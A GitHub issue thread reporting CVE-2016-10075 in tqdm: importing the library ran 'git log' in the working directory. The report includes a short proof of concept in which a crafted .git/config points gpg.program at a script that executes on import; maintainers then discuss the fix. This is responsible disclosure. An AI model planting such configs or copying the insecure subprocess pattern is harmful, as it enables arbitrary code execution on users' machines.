Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

tqdm._version: insecure use of git #328

Closed
jwilk opened this issue Dec 25, 2016 · 13 comments
Closed

tqdm._version: insecure use of git #328

jwilk opened this issue Dec 25, 2016 · 13 comments
Assignees
Labels
p0-bug-critical ☢ Exception rasing

Comments

@jwilk
Copy link

jwilk commented Dec 25, 2016

When you import tqdm, the tqdm._version module executes the following command:

git log -n 1 --oneline

This was meant to check if the user is running a pre-release version of tqdm.
But most of the time there's no git repo at all, so this is just waste of time.
Worse, the current working directory might be a part of an unrelated git repository, possibly a malicious one.
At least with git 2.10 or later, it's possible to craft a repo in which git log executes arbitrary code:

$ tail -n4 /tmp/.git/config
[log]
        showSignature = true
[gpg]
        program = /tmp/moogpg

$ tail -n4 /tmp/moogpg
#!/bin/sh
exec > /dev/tty 2>&1
cowsay pwned
sleep 9999

$ cd /tmp

$ pydoc tqdm
 _______
< pwned >
 -------
        \   ^__^
         \  (oo)\_______
            (__)\       )\/\
                ||----w |
                ||     ||
jwilk added a commit to jwilk-archive/github-upload that referenced this issue Dec 25, 2016
tqdm wants to execute git for no good reason:
tqdm/tqdm#328

Let's foil this plan by intermittently setting PATH to a non-existent
directory.
@casperdcl
Copy link
Sponsor Member

Thanks, I was wondering how long it would take for someone to take issue with my commit hash version hack. Think we should change it so it only works with developer installs...

@lrq3000 lrq3000 added the p0-bug-critical ☢ Exception rasing label Dec 27, 2016
@lrq3000
Copy link
Member

lrq3000 commented Dec 27, 2016

Thanks for the report @jwilk.

The auto commit tagging is very useful, but this is a quite serious vulnerability.

@casperdcl What was the initial purpose of adding the commit hash? Was it to tag experimental releases, or to ease debugging (eg, when asking users to display the version they use)?

@jwilk
Copy link
Author

jwilk commented Dec 28, 2016

CVE-2016-10075 was assigned to this bug.

@lrq3000
Copy link
Member

lrq3000 commented Dec 29, 2016

@jwilk Haha this is becoming real serious, thanks for assigning a CVE identifier!

We should try to fix this ASAP, depending on what purpose @casperdcl prefer to favor, we will remove the exploit!

@CrazyPython
Copy link
Contributor

CrazyPython commented Dec 31, 2016

"Later this day, Yahoo Inc. was hacked using tqdm as an entry point; initial investigation shows motives may be terrorism..."

Are you sure it's not CVE-2014-0160?

@casperdcl
Copy link
Sponsor Member

Sorry @lrq3000 only have intermittent access atm. Will try to look at all these issues soonish.

@lrq3000
Copy link
Member

lrq3000 commented Dec 31, 2016 via email

lrq3000 added a commit that referenced this issue Dec 31, 2016
…branch name

Signed-off-by: Stephen L. <lrq3000@gmail.com>
@lrq3000
Copy link
Member

lrq3000 commented Dec 31, 2016

The security issue should be fixed by #330, and we do not lose any of the functionality! @jwilk if you have some time, can you please review if this correctly fix the breach? :)

@lrq3000
Copy link
Member

lrq3000 commented Dec 31, 2016

Also you won't need your monkeypatch anymore (clever one BTW)!

@CrazyPython
Copy link
Contributor

@lrq3000 #328 is this issue, I think you mean #330.

@lrq3000
Copy link
Member

lrq3000 commented Dec 31, 2016

Yes thanks @CrazyPython , I edited my message to fix the typo!

@sandrotosi
Copy link

in general #330 seems to address the immediate problem, it kinda seem way overkill to have all that code just to know if you're in a released package or not, YMMV

@lrq3000
Copy link
Member

lrq3000 commented Jan 6, 2017

@sandrotosi I know at least of one other software that is doing a similar thing (MRTRIX3), although I'm not sure exactly how they implemented it (is it stored at compilation or is it fetched on runtime like us?). But I agree this is rarely seen, the development tracker is usually separated from the software.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
p0-bug-critical ☢ Exception rasing
Projects
None yet
Development

No branches or pull requests

5 participants